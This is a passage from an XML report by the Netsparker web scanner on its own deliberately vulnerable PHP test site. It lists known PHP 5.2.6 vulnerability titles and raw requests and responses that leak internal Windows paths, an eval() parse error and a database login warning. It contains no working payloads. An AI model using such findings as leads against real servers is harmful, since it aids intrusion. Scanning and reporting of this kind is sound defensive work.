						<info name="Vulnerability Database"><![CDATA[Result is based on 17/11/2013 vulnerability database content.]]></info>
				</extrainformation>

					<classification>
						<OWASP>A6</OWASP>
						<WASC></WASC>
						<CWE></CWE>
						<CAPEC>310</CAPEC>
						<PCI>6.1</PCI>
						<PCI2>6.1</PCI2>
					</classification>
				
					<knownvulnerabilities>
							<knownvulnerability>
								<title>PHP 'chdir()' and 'ftok()' 'safe_mode' Multiple Security Bypass Vulnerabilities</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'imageRotate()' Uninitialized Memory Information Disclosure Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP SAPI 'php_getuid()' Safe Mode Restriction-Bypass Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'mbstring' Extension Buffer Overflow Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'php/ext/xml/xml.c' Integer Overflow Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'php_filter_validate_email()' Function Denial of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'xml_utf8_decode()' UTF-8 Input Validation Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Calendar Extension 'SdnToJulian()' Integer Overflow Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'steam.c' and 'dirstream.c' Multiple Format String Vulnerabilities</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'substr_replace()' Function Memory Corruption Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP libzip '_zip_name_locate()' NULL Pointer Dereference Denial Of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'phar/phar_object.c' Format String Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'shmop_read()' Remote Integer Overflow Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Stream Component Remote Denial of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'Zip' Extension 'zip_fread()' Function Denial of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'OpenSSL' Extension Multiple Denial of Service Vulnerabilities</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Versions Prior to 5.3.7 Multiple Security Vulnerabilities</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'ZipArchive::addGlob' and 'ZipArchive::addPattern' Denial Of Service Vulnerabilities</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'SplObjectStorage' Unserializer Arbitrary Code Execution Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'ext/imap/php_imap.c'  Use After Free Denial of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP ZipArchive::getArchiveComment() NULL Pointer Dereference Denial Of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'zend_strtod()' Function Floating-Point Value Denial of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Multiple NULL Pointer Dereference Denial Of Service Vulnerabilities</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'crypt' Function Buffer Overflow Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'error_log' Function Denial of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'var_export' Function Remote Information Disclosure Vulnerability </title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'strrchr' Function Information Disclosure Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'fnmatch' Function Stack Consumption Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Zend Engine Use-after-free Heap Corruption Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP GD Extension 'imagepstext()' Function Stack Buffer Overflow Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'EXTR_OVERWRITE' Security Bypass Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'mt_rand' Function Integer Overflow Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'iconv' Module 'iconv_mime_decode_headers()' Function Security-Bypass Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP LCG Entropy Security Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'session_save_path()' safe_mode Restriction Bypass Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'sqlite_single_query()' and 'sqlite_array_query()' Arbitrary Code Execution Vulnerabilities</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Unrestricted Temporary File Creation Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'posix_mkfifo()' 'open_basedir' Bypass Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'ini_restore()' Memory Information Disclosure Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Web Form Hash Collision Denial Of Service Vulnerability</title>
								<severity>Medium</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'phar_parse_tarfile' Integer Overflow Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP '_php_stream_scandir' Overflow Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'com_print_typeinfo' Buffer Overflow Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'php-cgi' Command Line Argument Injection Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP File Upload Denial of Service Vulnerability</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP 'magic_quotes_gpc' Bypass Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Multiple Remote Vulnerabilities</title>
								<severity>Important</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Multiple Remote Vulnerabilities in SOAP Parser</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Heap Based Buffer Overflow Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
							<knownvulnerability>
								<title>PHP Integer Overflow and Denial of Service Vulnerability</title>
								<severity>Low</severity>
							</knownvulnerability>
					</knownvulnerabilities>
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/hello.php?name=Visitor</url>
				<type>PossibleInternalWindowsPathLeakage</type>
				<severity>Information</severity>
				<certainty>75</certainty>
		
				<rawrequest><![CDATA[GET /hello.php?name=Visitor HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:50 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2874
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
								<h1 class="title"><a href="#">Hello Service </a></h1>
					<p>
                    Hello Visitor<br />
<b>Parse error</b>:  syntax error, unexpected T_STRING in <b>C:\AppServ\www\hello.php(24) : eval()'d code</b> on line <b>1</b><br />
20$str = 20 Visitor;20                    </p>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">


				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>
v
<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\hello.php]]></info>
				</extrainformation>

					<classification>
						<OWASP></OWASP>
						<WASC>13</WASC>
						<CWE>200</CWE>
						<CAPEC>118</CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="False">
				<url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
				<type>PossibleInternalWindowsPathLeakage</type>
				<severity>Information</severity>
				<certainty>75</certainty>
		
				<rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:25:51 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3327
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    
<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">

				<div class="entry">
				<h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
    	<p>This is a test and demonstration site for Netsparker , Next Generation Web
            Application Security Scanner.
            <p>
            This testing web site contains a lot of vulnerabilities on different vulnerability classes.
 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
            </p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	
	<br />
<b>Warning</b>:  mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
asd	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
						<info name="Identified Internal Path(s)"><![CDATA[C:\AppServ\www\Generics\about.nsp]]></info>
				</extrainformation>

					<classification>
						<OWASP></OWASP>
						<WASC>13</WASC>
						<CWE>200</CWE>
						<CAPEC>118</CAPEC>
						<PCI>6.5.6</PCI>
						<PCI2></PCI2>
					</classification>
				
			</vulnerability>

</netsparker>